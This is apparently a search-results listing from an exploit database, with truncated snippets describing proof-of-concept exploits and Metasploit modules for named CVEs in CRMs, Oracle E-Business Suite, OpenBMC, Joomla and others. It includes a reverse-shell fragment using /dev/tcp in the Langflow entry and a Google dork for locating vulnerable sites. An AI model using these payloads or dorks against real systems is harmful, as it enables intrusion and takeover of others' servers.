278476 matches found
nmap-enumeration-lab
Network Scanning & Host Enumeration with Nmap Host discovery,...
PS4-12.00-Jailbreak
PS4 12.00 Jailbreak + GoldHEN One-click local proxy that jail...
Exploit for Reliance on Cookies without Validation and Integrity Checking in Paloaltonetworks Pan-Os
βββ CVE-2026-0257 βββ π΄ AMN SECURITY π΄ Ω Ψ±ΩΨ² Ψ£Ψ¨Ψ...
Exploit for CVE-2026-49777
!AMN SECURITYhttps://img.shields.io/badge/AMN-SECURITY-000000...
Exploit for CVE-2026-8206
π‘οΈ AMN SECURITY π‘οΈ !CVE-2026-8206https://img.shields.io/ba...
Exploit for Uncontrolled Resource Consumption in Google Protobuf
No d...
π OpenBMC bmcweb Denial of Service / Authentication Bypass
This Metasploit module exploits authentication bypass and denial of service vulnerabilities in bmcweb, the OpenBMC HTTP/Redfish web server that runs on BMC firmware for enterprise servers Intel, IBM, HPE, NVIDIA, and various ODMs...
π Vtiger CRM 8.3.0 / 8.4.0 Shell Upload
This repository contains a Python proof of concept for CVE-2026-23698, an authenticated remote code execution vulnerability affecting Vtiger CRM. The PoC implements two exploitation techniques: abusing the Module Manager to import a malicious module containing a PHP webshell, and on certain...
π OpenCATS 0.9.7.4 Time-Based Blind SQL Injection
This Metasploit module targets a remote SQL injection vulnerability in OpenCATS version 0.9.7.4. ================================================================================================================================== | Title : OpenCATS 0.9.7.4 SQL Injection Time-Based Blind | | Author ...
π Oracle E-Business Suite 12.2.14 Remote Code Execution
This Metasploit module exploits CVE-2025-61882, a pre-authentication remote code execution vulnerability in Oracle E-Business Suite versions 12.2.3 through 12.2.14. ================================================================================================================================== |...
Atarim WordPress Plugin 4.2.2 - Sensitive Information Exposure
Exploit Title: Atarim WordPress Plugin 4.2.2 - Sensitive Information Exposure Google Dork: N/A Date: 2026-07-05 Exploit Author: Mohammad Hossein Sadeghian Vendor Homepage: https://atarim.io/ Software Link: https://wordpress.org/plugins/atarim/ Version: 4.2.2 Tested on: Ubuntu 22.04 LTS, Apache 2....
π OpenSourcePOS 3.4.1 Cross Site Request Forgery
OpenSourcePOS version 3.4.1 suffers from a cross site request forgery vulnerability. ================================================================================================================================== | Title : OpenSourcePOS 3.4.1 CSRF Vulnerability Leading to Unauthorized Admin...
π NTLM Relay to Self Attack Module for Active Directory Privilege Escalation
This is a Metasploit module designed for Windows/Active Directory environments that performs an advanced NTLM relay-to-self attack to escalate privileges on a compromised machine...
π OpenCATS 0.9.7.4 Time-Based Blind SQL Injection
This Python script targets a remote SQL injection vulnerability in OpenCATS version 0.9.7.4. ================================================================================================================================== | Title : OpenCATS 0.9.7.4 Time-Based Blind SQL Injection Exploit Data...
π Pachno 1.0.6 XML Injection / Code Execution / Shell Upload
Authenticated Python exploit tool targeting Pachno version 1.0.6 with claimed XXE, privilege escalation, CSRF payload generation, unrestricted PHP webshell upload, open redirect testing, and a placeholder deserialization / remote code execution chain...
Krayin CRM v2.2.x - Authenticated Remote Code Execution
Exploit Title: Krayin CRM v2.2.x - Authenticated Remote Code Execution Date: 07/05/2026 Exploit Author: Diamorphine Vendor Homepage: https://krayincrm.com Software Link: https://github.com/krayin/laravel-crm Version: 2.2.x Tested on: Debian CVE : CVE-2026-38526 import asyncio import httpx from...
Joomla Page Builder CK 3.5.10 - Arbitrary File Upload
Exploit Title: Joomla Page Builder CK 3.5.10 - Arbitrary File Upload Google Dork: inurl:compagebuilderck OR "/components/compagebuilderck/assets/pagebuilderck.js" Date: 2026-07-04 Exploit Author: M@rAz Ali Credits: Peyman Siyahi, MR.PERSIA Vendor Homepage: https://www.joomlack.fr/ Software Link:...
Langflow 1.9.0 - RCE
Exploit Title: Langflow 1.9.0 - RCE Exploit Author: Diamorphine Vendor Homepage: https://www.langflow.org/ Software Link: https://www.langflow.org/desktop Version: & /dev/tcp/lhost/lport 0&1'"\n\nfrom lfx.custom.customcomponent.component import Component\nfrom lfx.io import Output\nfrom...
π OpenBMC bmcweb Authentication Bypass
Proof of concept that demonstrates an OpenBMC bmcweb AUTH-F6 mTLS UPN Suffix authentication bypass vulnerability via a parent-domain certificate. ================================================================================================================================== | Title : OpenBMC...